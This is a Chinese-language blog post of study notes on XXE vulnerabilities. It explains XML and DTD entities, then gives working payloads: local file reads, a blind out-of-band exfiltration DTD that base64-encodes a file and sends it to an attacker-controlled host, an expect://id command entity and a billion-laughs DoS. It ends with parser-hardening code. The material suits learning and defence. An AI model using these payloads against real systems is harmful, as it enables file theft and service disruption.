XXE学习

学习文章

这次文章的学习给我最大的启发不是知识上的,而是我发现我看文章还是需要写出来理,果断选择先理再另外写一版上传

XML(可扩展标记语言)主要通过 DOM(文档对象模型)和 SAX(简单 API)进行解析和处理,核心类包括代表文档结构的 Document、元素节点的 Element、属性的 Attribute 以及节点的基础类 Node。这些类在 .NET、Java (DOM4J/JDOM) 等环境中用于在内存中创建、读取和修改 XML 数据。
XML 相关的常用类和结构通常包括:

  1. 核心 XML 文档对象模型 (DOM) 类
    DOMXML 文档加载到内存中,形成树状结构。
    Document (XmlDocument): 代表整个 XML 文档,是访问 XML 数据的入口。
    Element (XmlElement): 代表 XML 文档中的元素(标签),可包含属性和子节点。
    Node (XmlNode): 所有 XML 节点的基类,包括元素、注释、文本等。
    Attribute (XmlAttribute): 代表元素的属性。
    Text (XmlText): 代表元素或属性中的文本内容。
  2. 读取和流式处理类 (SAX/StAX)
    用于高效读取大型 XML 文件,不全部加载到内存。
    XmlReader: 提供非缓存、只进、只读的访问方式。
    XmlTextReader: XmlReader 的实现,用于快速读取文本。
  3. Java 专用扩展类 (DOM4J/JDOM)
    Document: DOM4J 中的文档根对象。
    Element: DOM4J 中的元素操作类。
  4. 数据库 XML 类型 (SQL)
    XML 类型: 在数据库(如 DB2openGauss)中用于直接存储结构化 XML 数据,支持内部表示和校验。

XML与DTD框架模板

XML(可扩展标记语言,Extensible Markup Language)是一种用于存储、结构化和传输数据的标记语言,具有自我描述性且人类/机器均可读。与HTML不同,XML允许自定义标签,旨在传输数据内容而非展示数据样式。它广泛应用于Web服务、配置文件和数据交换,通过严谨的结构确保平台间数据传输的有效性。

XML文档有自己的格式规范,也就是DTD(document type definition),它可以用来定义XML的元素以及实体(也就是对应的XML标签的内容)。

这里的实体从所处位置看有两种,分别是内部实体和外部实体,当我们需要引用的时候直接从XXE文档中引用的实体就是内部实体,如果去引用的的公用DTD就需要在引用中表明引用的DTD标识名,以及公用DTD的URI。

比如说如果这里的DTD的声明如果是内部声明,那么会把根元素,子元素,实体以相应的格式呈现:

1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

这种情况下,XML就必须写成这样:

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

如果是外部声明:

外部声明的格式有两种,关键词分别是SYSTEM(这个指向我们引用自己的文档,修改的时候直接更新文档资源就可以)和PUBLIC(公用DTD)

1
<!DOCTYPE 根元素 SYSTEM "外部DTD文件">

这里的文件是直接使用file://协议去引用文件的路径,但是还有一种方式是可以直接引用公用DTD的方法,语法有一些差异:

1
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。

在这里对包含不同类型的DTD声明的xml总体格式做一个成列:

内部声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?><!--XML文档定义-->
<!-- 根元素为note -->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]><!--<!DOCTYPE 根元素名 [ ... ]>: 定义内部DTD,包含在[]中。-->
<note>
<to>Nope</to>
<from>Yep</from>
<heading>Reminder</heading>
<body>Remeber me!</body>
</note>

外部声明:

  • xml文件 (note.xml):

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>Nope</to>
    <from>Yep</from>
    <heading>Reminder</heading>
    <body>Remeber me!</body>
    </note>
  • DTD文件 (note.dtd):

    1
    2
    3
    4
    5
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)><!--<!ELEMENT 元素名 (子元素)>: 定义元素结构,#PCDATA 表示解析的字符数据。-->

这里的内部外部声明也就是对应的内部外部实体,攻击点在外部实体。

除此之外,对于不同实体的功能性,还规定了通用实体和参数实体

  • 通用实体:用&实体名;引用的实体,在DTD 中定义,在 XML 文档中引用
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

这里引用的时候就会把DTD中的内容代出来

  • 参数实体:
  1. 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  3. 和通用实体一样,参数实体也可以外部引用(这个外部引用还是PUBLICSYSTEM那两个)

参数实体(Parameter Entities)能在 XML 中引用,但仅限用于 DTD(文档类型定义)内部,不能用于 XML 文档的内容主体中。它们以 % 开头定义和引用,主要用于简化 DTD 的编写或定义外部实体

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE root [
<!-- 1. 定义参数实体 -->
<!ENTITY % myAttr "attribute1 CDATA #REQUIRED">

<!-- 2. 在DTD中引用参数实体 -->
<!ELEMENT element1 EMPTY>
<!ATTLIST element1 %myAttr;>
]>
<root>
<element1 attribute1="value"/>
</root>

XXE多类型利用

有回显XXE读取本地文件

源码

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');//把提交的POST参数赋值给xmlfile
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

有回显的XXE就是XXE最基础的漏洞利用,可以直接进行文件读取,这里利用的就是外部实体在引用时的文件路径或者URI

利用的前提还有,服务器本身能够接收并解析XML格式的输入并且有回显,这样才能输入我们自定义的XML代码。

基本逻辑就是利用直接读取的结果的功能,如果还涉及了特殊字符(如标记语言:<,>不希望被解析引擎解析),就用CDATA把原文件包含起来。

这里的CDATA的作用是:CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

1
2
3
<![CDATA[
XXXXXXXXXXXXXXXXX
]]>

一般文件的payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

但如果需要加上CDATA节,就在前后添加两部分实体并引用:

1
2
3
4
5
<!DOCTYPE creds [
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">
<!ENTITY end "]]>"> ]>
<creds>&start;&goodies;&end;</creds>

这里两个问题:一:为什么不直接在goodies实体内一次性解决,因为引用本身的内容存在特殊字符,可能会被解析引擎解析,需要通过加上字节头尾避免解析

二:但是实际上在执行这样的payload的时候,多个实体连续引用的时候,我们默认是对字段进行了拼接的,但是实际上的几个实体在连续引用中并不会被拼接,也就是说并不能组成一个完整字节,所以也不能起到作用

在XML文档中通过引用拼接不成功,又考虑到除了XML文档本身,DTD也是可控的

DTD中可以内部引用的,还有参数实体,这里就通过参数实体来运用

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>

一次性引用

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

这里的和xml的引用结构有区别,但是利用思路是一样的

但是实际上XML本身不是为了输出做准备的,如果能直接利用就是因为刚好有能够实例化解析XML的类或者极端的配置条件,所以实际利用中如果不想依靠这样的配置还需要得到回显的方式外带数据。

无回显XXE读取本地文件(Blind OOB XXE)

这里的源码:

1
2
3
4
5
6
7
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

这里因为没有直接回显,所以就需要外带数据,同时为了保障数据的完整性就可以借助伪协议对上传的文件进行编码回显,尤其注意实体中的%会被处理,所以还需要转成html实体编码%

外带就需要发请求,需要在发请求之后把数据传出来,当我们对外部实体定义的时候就是在提交请求,这个地方利用的逻辑可以简单理解成需要一个请求去包含另一个请求。

dtd文件部分逻辑是:两个实体,作用分别是先包含文件,并且把文件进行base64编码;以及外带数据,(把数据发送到本地ip的某个端口的表示)

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://[ip]:[端口号]?p=%file;'>">

先是dtd文件的本身内容,再通过xml来触发。

xml中涉及三个实体需要做的就是,调用后去请求远程服务器的dtd文件,包含文件并利用

%remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

HTTP主机探测和端口扫描

利用xxe漏洞发生的服务器,探测主机时,需要先知道网络配置文件,去探测内网是什么样子的。这里需要用到file协议的读取。

端口扫描还需要配合burp进行端口探测。

文件上传

java框架中也会出现xxe漏洞,jar协议可以对文件进行处理,jar协议处理文件过是先下载文件为临时文件,提取指定文件后删除临时文件。

但是没有办法直接查找临时文夹,但是可以通过找不存在的文件,通过java解析器的报错信息来获取临时文件路径。临时文件存在时间较短,且直接读取可能影响文件的完整性。

邮件钓鱼

ftp:// 协议结合 CRLF 注入发送命令

主要是可以通过链接或者附件的方式将内容,从受信任来源发送钓鱼邮件,命令的内容是可以发送邮件,伪造信息源

PHP其他伪协议的利用

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

这里使用的是expect扩展

DOS攻击

核心是通过不断迭代,扩大变量空间,最终用于撑爆一些服务器的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XXE的实际运用

以上payload的前提源代码是PHP文件,涉及的协议是php://input,这是PHP环境下的,但是如果是在java中同样需要使用文件路径,file是通用的,除此之外,Java中使用的协议是netdoc

除此之外,还有JSON content-type 的XXE

相当于XML和JSON都是常见的,一般情况下会统一使用同一种格式,但服务器还是可以接收其他格式的数据,所有JSON节点可以被XXE攻击

将 Content-Type 修改为 application/xml,出现报错,说明xml数据是被服务器处理了的。

然后就可以在请求中写入xml数据

XXE的防御

最好的方式是选择直接设置禁用外部实体

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
Icon
致谢名单
本作品由 LwhalE 于 2026-02-10 14:11:42 发布
作品地址:XXE学习
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 LwhalE's blog
Logo